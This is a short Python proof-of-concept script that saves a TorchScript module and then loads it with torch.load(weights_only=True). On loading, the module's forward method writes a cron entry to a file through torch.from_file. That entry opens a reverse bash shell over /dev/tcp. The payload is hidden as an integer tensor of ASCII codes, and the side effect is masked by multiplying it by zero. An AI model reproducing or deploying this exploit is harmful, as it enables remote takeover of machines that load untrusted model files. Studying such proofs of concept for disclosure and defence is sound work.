import torch

# text = "* * * * * root /bin/bash -c 'bash -i >& /dev/tcp/127.0.0.1/4444 0>&1'\n"
# asciis = [ord(c) for c in text]
# print(f"{asciis=}, len: {len(asciis)}")

class MyModule(torch.nn.Module):
    def forward(self, x):
        t = torch.from_file("rev.txt",
                            shared=True,
                            size=70,
                            dtype=torch.uint8)

        # "* * * * * root /bin/bash -c 'bash -i >& /dev/tcp/127.0.0.1/4444 0>&1'\n"
        msg = torch.tensor([42, 32, 42, 32, 42, 32, 42, 32, 42, 32, 114, 111, 111, 116, 
                            32, 47, 98, 105, 110, 47, 98, 97, 115, 104, 32, 45, 99, 32, 
                            39, 98, 97, 115, 104, 32, 45, 105, 32, 62, 38, 32, 47, 100, 
                            101, 118, 47, 116, 99, 112, 47, 49, 50, 55, 46, 48, 46, 48, 
                            46, 49, 47, 52, 52, 52, 52, 32, 48, 62, 38, 49, 39, 10], 
                           dtype=torch.uint8)
        
        # Copy bytes into the mapped file
        t.copy_(msg)

        out = x * 2.0
        out = out + t.sum().to(out.dtype) * 0.0
        return out


m = torch.jit.script(MyModule())
m.save("scriptmodule.pt")

# load
model = torch.load("scriptmodule.pt", weights_only=True)
model(torch.tensor([10], dtype=torch.uint8))